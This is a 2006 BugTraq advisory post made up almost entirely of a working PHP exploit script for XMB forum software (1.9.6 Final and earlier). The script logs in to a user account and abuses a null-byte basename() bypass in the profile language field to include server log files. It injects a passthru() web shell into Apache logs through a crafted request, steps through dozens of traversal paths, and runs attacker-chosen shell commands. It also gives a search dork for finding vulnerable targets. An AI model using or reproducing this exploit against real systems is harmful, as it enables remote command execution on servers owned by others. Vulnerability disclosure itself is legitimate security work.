BugTraq
XMB <= 1.9.6 Final basename()/'langfilenew' arbitrary local inclusion / remote commands execution Aug 13 2006 06:59PM
rgod autistici org
#!/usr/bin/php -q -d short_open_tag=on

<?

echo "XMB <= 1.9.6 Final basename() 'langfilenew' arbitrary local inclusion / remote commands xctn\n";

echo "by rgod rgod (at) autistici (dot) org [email concealed]\n";

echo "site: http://retrogod.altervista.org\n";

echo "dork: \"Powered by XMB\"\n\n";

/*

works regardless of php.ini settings

*/

if ($argc<6) {

echo "Usage: php ".$argv[0]." host path username password cmd OPTIONS\n";

echo "host: target server (ip/hostname)\n";

echo "path: path to XMB \n";

echo "user/pass: you need a valid user account\n";

echo "cmd: a shell command\n";

echo "Options:\n";

echo " -p[port]: Specify a port other than 80\n";

echo " -P[ip:port]: \" a proxy\n";

echo "Examples:\r\n";

echo "php ".$argv[0]." localhost /xmb/ user pass ls -la\n";

echo "php ".$argv[0]." localhost /xmb/Files/ user pass ls -la\n";

die;

}

/*

software site: http://www.xmbforum.com/

vulnerable code in memcp.php at lines 331-333:

...

if ( !file_exists(ROOT.'/lang/'.basename($langfilenew).'.lang.php') ) {

$langfilenew = $SETTINGS['langfile'];

}

...

this check, when you update your profile and select a new language, can be

bypassed by supplying a well crafted value for langfilenew argument, ex:

../../../../../../../apache/logs/access.log[null char]/English

basename() returns 'English' and English.lang.php is an existing file in lang/

folder, now

../../../../../../../apache/logs/access.log[null char]

string is stored in xmb_members table so, every time you are logged in,

u can include an arbitrary file from

local resources because in header.php we have this line

require ROOT."lang/$langfile.lang.php";

and this works regardless of php.ini settings because of the ending null char

stored in database

this tool injects some code in Apache log files and tries to launch commands

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

$host=$argv[1];

$path=$argv[2];

$user=urlencode($argv[3]);

$pass=urlencode($argv[4]);

$cmd="";

$port=80;

$proxy="";

for ($i=5; $i<$argc; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$CODE ='<?php if (get_magic_quotes_gpc()){$_COOKIE[cmd]=stripslashes($_COOKIE[cmd]);}echo
my_delim;set_time_limit(0);passthru($_COOKIE[cmd]);echo my_delim;die;?>';

$packet="GET ".$p.$CODE." HTTP/1.1\r\n";

$packet.="User-Agent: ".$CODE."\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: close\r\n\r\n";

sendpacketii($packet);

$data ="username=".$user;

$data.="&password=".$pass;

$data.="&hide=1";

$data.="&secure=yes";

$data.="&loginsubmit=Login";

$packet ="POST ".$p."misc.php?action=login HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$cookie="";

for ($i=1; $i<count($temp); $i++)

{

$temp2=explode(" ",$temp[$i]);

$temp3=explode("\r",$temp2[0]);

if (!strstr($temp3[0],";")){$temp3[0]=$temp3[0].";";}

$cookie.=" ".$temp3[0];

}

if (($cookie=='') | (!strstr($cookie,"xmbuser")) | (!strstr($cookie,"xmbpw"))){echo "Unable to login...";die;}

else {echo "cookie ->".$cookie."\r\n";}

//fill with possible locations...

$paths= array (

"../../../../../var/log/httpd/access_log",

"../../../../../var/log/httpd/error_log",

"../apache/logs/error.log",

"../apache/logs/access.log",

"../../apache/logs/error.log",

"../../apache/logs/access.log",

"../../../apache/logs/error.log",

"../../../apache/logs/access.log",

"../../../../apache/logs/error.log",

"../../../../apache/logs/access.log",

"../../../../../apache/logs/error.log",

"../../../../../apache/logs/access.log",

"../logs/error.log",

"../logs/access.log",

"../../logs/error.log",

"../../logs/access.log",

"../../../logs/error.log",

"../../../logs/access.log",

"../../../../logs/error.log",

"../../../../logs/access.log",

"../../../../../logs/error.log",

"../../../../../logs/access.log",

"../../../../../etc/httpd/logs/acces_log",

"../../../../../etc/httpd/logs/acces.log",

"../../../../../etc/httpd/logs/error_log",

"../../../../../etc/httpd/logs/error.log",

"../../../../../var/www/logs/access_log",

"../../../../../var/www/logs/access.log",

"../../../../../usr/local/apache/logs/access_log",

"../../../../../usr/local/apache/logs/access.log",

"../../../../../var/log/apache/access_log",

"../../../../../var/log/apache/access.log",

"../../../../../var/log/access_log",

"../../../../../var/www/logs/error_log",

"../../../../../var/www/logs/error.log",

"../../../../../usr/local/apache/logs/error_log",

"../../../../../usr/local/apache/logs/error.log",

"../../../../../var/log/apache/error_log",

"../../../../../var/log/apache/error.log",

"../../../../../var/log/access_log",

"../../../../../var/log/error_log"

);

for ($i=0; $i<count($paths); $i++)

{

if (strlen($paths[$i])<40) //langfile is varchar(40)...

{

$xpl=$paths[$i];

echo "trying with: ".$paths[$i]."\r\n";

$xpl=urlencode($xpl);

$data.="newpassword=";

$data.="&newpasswordcf=";

$data.="&newemail=".urlencode("suntzu (at) suntzu (dot) org [email concealed]");

$data.="&newsite=";

$data.="&newwebcam=";

$data.="&newaim=";

$data.="&newicq=";

$data.="&newyahoo=";

$data.="&newmsn=";

$data.="&newmemlocation=";

$data.="&newmood=";

$data.="&newavatar=";

$data.="&newbio=";

$data.="&newsig=";

$data.="&thememem=0";//default theme

$data.="&langfilenew=".$xpl."%00/English"; // basename() circumvention, langfile column: varchar(40)

$data.="&month=0";

$data.="&day=";

$data.="&year=";

$data.="&tppnew=30";

$data.="&pppnew=25";

$data.="&newshowemail=no";

$data.="&newinv=1";

$data.="&newnewsletter=no";

$data.="&useoldu2u=no";

$data.="&saveogu2u=no";

$data.="&emailonu2u=no";

$data.="&timeformatnew=24";

$data.="&dateformatnew=dd-mm-yyyy";

$data.="&timeoffset1=0";

$data.="&editsubmit=Edit%20Profile";

$packet ="POST ".$p."memcp.php?action=profile HTTP/1.0\r\n";

$packet.="Referer: http://".$host.$path."member.php\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$packet ="GET ".$p."index.php HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n";

$packet.="Cookie: ".$cookie." cmd=".$cmd.";\r\n\r\n";

sendpacketii($packet);

if (strstr($html,"my_delim"))

{

echo "exploit succeeded...\n";

$temp=explode("my_delim",$html);

die($temp[1]);

}

}

}

//if you are here...

echo "exploit failed...";

?>

#original url: http://retrogod.altervista.org/xmb_196_cnd_xpl.html

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